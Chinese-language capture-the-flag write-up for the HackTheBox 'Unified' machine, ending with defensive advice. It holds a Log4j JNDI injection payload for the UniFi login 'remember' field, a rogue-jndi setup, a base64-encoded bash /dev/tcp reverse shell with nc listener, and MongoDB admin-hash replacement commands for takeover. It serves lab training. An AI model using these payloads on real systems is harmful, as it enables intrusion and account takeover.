HackTheBox - Unified
字数 1015 2025-08-12 11:33:47
HackTheBox - Unified 渗透测试教学文档
1. 目标信息收集
1.1 端口扫描
使用Nmap进行初始扫描:
nmap -sC -sV -T3 -v 10.129.170.120
扫描结果:
- 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
- 6789/tcp: ibm-db2-admin?
- 8080/tcp: http-proxy (重定向到8443端口)
- 8443/tcp: ssl/nagios-nsca Nagios NSCA
1.2 Web应用识别
访问8080端口会自动重定向到8443端口,显示UniFi网络管理系统的登录页面,版本为6.4.54。
2. 漏洞发现与验证
2.1 识别潜在漏洞
UniFi 6.4.54版本存在CVE-2021-44228 (Log4j)漏洞。
2.2 漏洞验证步骤
- 使用Burp Suite或开发者工具捕获登录请求
- 监听攻击机389端口:
sudo tcpdump -i tun0 port 389 - 修改登录请求中的"remember"字段:
"${jndi:ldap://{tun0_ip}/whatever}" - 观察tcpdump是否收到连接请求,确认漏洞存在
3. 漏洞利用环境搭建
3.1 安装必要工具
-
安装JDK和Maven:
sudo apt-get install maven -
下载并编译rogue-jndi工具:
git clone https://github.com/veracode-research/rogue-jndi cd rogue-jndi mvn package编译成功后会在target目录生成RogueJndi-1.1.jar
4. 漏洞利用
4.1 准备反弹shell
-
生成base64编码的反弹shell命令:
echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.179/4444 0>&1'" | base64 -
启动rogue-jndi服务器:
java -jar target/RogueJndi-1.1.jar \ --command "bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xNzkvNDQ0NCAwPiYxJwo=}|{base64,-d}|{bash,-i}" \ --hostname "10.10.14.179" -
设置监听端口:
nc -lvnp 4444 -
修改登录请求中的payload并发送,获取反向shell
5. 权限提升
5.1 MongoDB数据库利用
-
发现运行中的MongoDB服务(端口27117):
ps aux -
查询MongoDB中的管理员凭证:
mongo --port 27117 ace --eval 'db.admin.find()' -
生成新密码的SHA512哈希:
mkpasswd -m sha-512 password输出示例:
$6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0 -
更新管理员密码:
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0"}})'
5.2 获取SSH访问
- 使用新密码(password)登录UniFi管理界面
- 在后台设置中找到SSH凭证
- 通过SSH连接获取root权限
6. 关键点总结
- Log4j漏洞利用:通过修改登录请求中的"remember"字段触发JNDI注入
- rogue-jndi工具:用于搭建恶意LDAP服务器执行任意命令
- MongoDB提权:通过修改数据库中的管理员凭证哈希来获取更高权限
- 密码哈希替换:使用已知弱密码的哈希替换原密码哈希绕过认证
7. 防御建议
- 及时更新UniFi控制器到最新版本
- 禁用不必要的JNDI查找功能
- 对MongoDB实施严格的访问控制
- 使用强密码并定期更换
- 监控异常登录行为